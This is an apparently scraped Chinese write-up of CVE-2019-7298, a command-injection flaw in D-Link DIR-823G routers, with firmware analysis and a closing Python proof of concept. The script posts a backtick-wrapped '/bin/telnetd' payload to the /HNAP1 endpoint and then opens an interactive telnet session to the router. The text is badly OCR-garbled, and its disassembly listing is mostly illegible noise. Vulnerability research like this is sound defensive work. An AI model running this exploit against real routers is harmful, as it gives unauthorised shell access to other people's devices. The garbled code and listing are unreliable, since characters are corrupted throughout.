《(CVE-2019-7298)D-Link DIR-823G 命令注入漏洞.docx》由会员分享,可在线阅读,更多相关《(CVE-2019-7298)D-Link DIR-823G 命令注入漏洞.docx(4页珍藏版)》请在第一文库网上搜索。
1、(CVE-2019-7298)D-1inkDIR-823G命令注入漏洞一、漏洞简介D-1inkDIR823G1.02B03及之前的版本中存在命令注入漏洞,攻击者可通过发送带有Shei1元字符的特制/HNAP1请求利用该漏洞执行任意的操作系统命令。在HNAPAP1函数处理请求之前,SyStem函数执行了不可信的命令,触发该漏洞。二、漏洞影响D-1inkDIR823G1.02B03及之前的版本三、复现过程漏洞分析在每次内核启动之后将启动iit进程,init进程的启动时根据etcinittab这个文件赖在不同运行级别启动相应的进程或执行相应的操作。其中SySinit代表系统的初始化,只有系统开机或重
2、新启动的时候,后面对应的ProCeSS才会执行一次。:sysinit:/etc/init.d/rcS在rcS中,先执行一些列mkdir和设置,执行了goahead。goahead是一个开源的Web服务器,用户的定制性非常强。可以通过一些goahead的api定义ur1处理函数和可供asp文件中调用的函数,具体可以看看官方的代码示例和网上的一些教程。goahead的WebsUr1Hand1erDefine函数允许用户自定义不同ur1的处理函数:WebsUr1Hand1erDefine(T(/HNAP1),NU11,0,WebSHNAPHand1er,0);WebsUr1Hand1erDefine
3、(T(,7goform)iNU11,0,WebsFormHand1erj0);websUr1Hand1erDefine(T(cgi-bin),NU11,0,WebsCgiHand1er,0);以上代表/HNAP1的请求交给WebSHNAPHand1er函数处理,gofrom的请求交给WebSFormHand1er函数处理,cgi-bin的请求交WebSCgiHand1er函数处理。这些处理函数有统一的参数:int(*fn)(webs-twp,ChaJt*ur1,char_t*path,char_t*query)WPWebserverconnectionhand1e.ur1RequestUR1.
4、pathRequestpathportionoftheUR1.queryQuerystringportionoftheUR1.先了解/HNAP1请求的处理函数,在goahead中查找“HNAP1”字符串并通过Xref定位处理函数sub.42383cSWIuiaddiumovemoveIuiaddiuja1Jzero,0x148var-138(Jsp)$v0,4A)af$v0,(aHnap1-x4A)n-HNAP1Sa1,Jzero$a2,zero$v0,x42$a3.Svj(sub-42383C-42)WebsUr1Hand1erOefinesub_4238c主要通过遍历全局的函数表来处理HN
5、AP1接受的不同请求。FunctionJist中每个元素的前四个字节为函数名,后四个字节为对应的函数地址。当找到在FunctionJist中找到函数名与请求相同的字符串时,向varhnap1og中记录Param_7的值,这个值但从汇编不太能看出,hackedby1h指出是POSt的报文,在运行过程中查看varhnap1og能猜出来。之后调用对应的函数地址处理相关请求。这里无论处理请求的函数名是什么,在找到之后会通过SnPrintf输入字符且未做检查,之后直接system执行,存在命令注入漏洞。如果PoSt请求是7binte1netd,就会先开启te1net服务器,再讲字符写入hnap1og0w
6、hi1e(funcJCr!(char*)0x0)(CBtrtr(cAiCM5241,f-nc-ptr);If(r?chAr)0x0)上aewet(citcvr,np1og-tpft-);syteB(1ctaci(5i.praf(-hnapgtiac(uadef1aed4paras_10x524);=r.strfics(*SmcaaptrtGet1ccDtr1=);it-,r.0)break;1OAD:M5SC$M4nction-1ist:.wordaSctau1tip1act1GM):MSKSM.wordMb_43)7tt1ADtMC68.Mord6etdevicesetti_4wOetDev
7、1ceSett1ngft*1OAD:M5K56C.wordsb_432D21OADi5K57.wordtopertUnao*6et0p*rtioc*todeIQAD:-74.wordMb_4371QADr*8C378.ord6t*Mrtconnecv4-GtSrtcnctSettIngs*1OAD:SCSX.MrdSb.464OO41OADrWSSCSM.MordGetUp1inkinteraGeUIp1inbInterface,10A07MCSM.word3to,34810ADtWCM.word1fis41Cf1n*1QM):M5KM(.worduba,42CMIOADtMSKSM.wrtf
8、Getw1nrdM6*1GetMtnRAd1ttb)ff10ADt5SC54.worwb.4MX10ADe9C.Mord6tc1iminf-StCIieetXnfoe10AD1C%9C.word,ub_447V941ADrWSBSA.wordaSetc1ientinfo-SetC1ientXnfow10M)rMCSM.wordsuba_447fM1W:.wordM1pdatec11entin_49wUpdeteC11ent1nfow1OAD:MSKMC.wortfs4b.44S871(MD:W5K5M.word6etw1nrdiM.7GeManRAdioSecurity*1QADie8C5M.
9、wordMb.46K9.GAD:MSsC,B3.wordStdevicttivS*tOeviceSttinfs1OADiWStCSK.wordub_4M6IC10A0M%8CSC.wordGetapeHentset-6etA11*ntS*ttings1OD:MSeCSC6.wordsub_433CF8UMOtMMCSCS.wordSetpc1ieHtet-1SetAPC1ientSettinfseUMD:W5K5CC.wordMbj13”X1QAD:W5K5M.wordStw1nrdiMs11*5tM1ndIoSettingt*10AD:M5K54.M04642XOA0;KS0.wordSet
10、w1nrdiosvUeSrtw1anRMJioWcuritye1QAD1MKSOC.wordub.469F741OM);M8CSC.word0etparentscont_19-GetParentSContro1InfoeUMD:.wordsub_46CA241OAD:MSKSU.wordSetprent*cot-2-SetperentsContro1Info*1OADtMSKSeC.wordub_46CM10AD:M5K5F.wordaSetsrtconnectsaaSetSertco*ifWCtSett1ng*,4.f.mm另外需要注意,POSt的数据要加上引号,因为echo%svarhna
11、p1og中本身带了单引号,如果只是binte1net,相当于echo,binte1net,varhnap1og由于命令由引号括起,会当做字符串处理,不会执行命令而echo,binte1net,varhnap1ogPoSt中的两个引号分别与自带的两个引号组合,反引号没有嵌套在单引号中,会当做命令执行。pocimportrequestsfrompwnimport*IP=,192.168.0.1command=binte1netd1ength=Ien(Command)headers=requests.uti1s.defau1t_headers()headersContent-1ength=str(1
12、ength)headersUser-Agent=Mozi11a/5.0(WindowsNT10.0;Win64;64)App1eWebKit/537.36(KHTM1,1ikeGecko)Chrome/56.0.2924.76Safari/537.36headersSOAPAction=http:/PUrenetWheadersAccept=*/*headersAccept-Encoding=gzip,def1ateheaders,Accept-1anguage=zh-CN,zh;q=0.9,en;q=0.8pay1oad=commandr=requests.post(http:/,+IP+HNAP1,iheaders=headersjdata=pay1oad)printr.textp=remote(IP,23)p.interactive(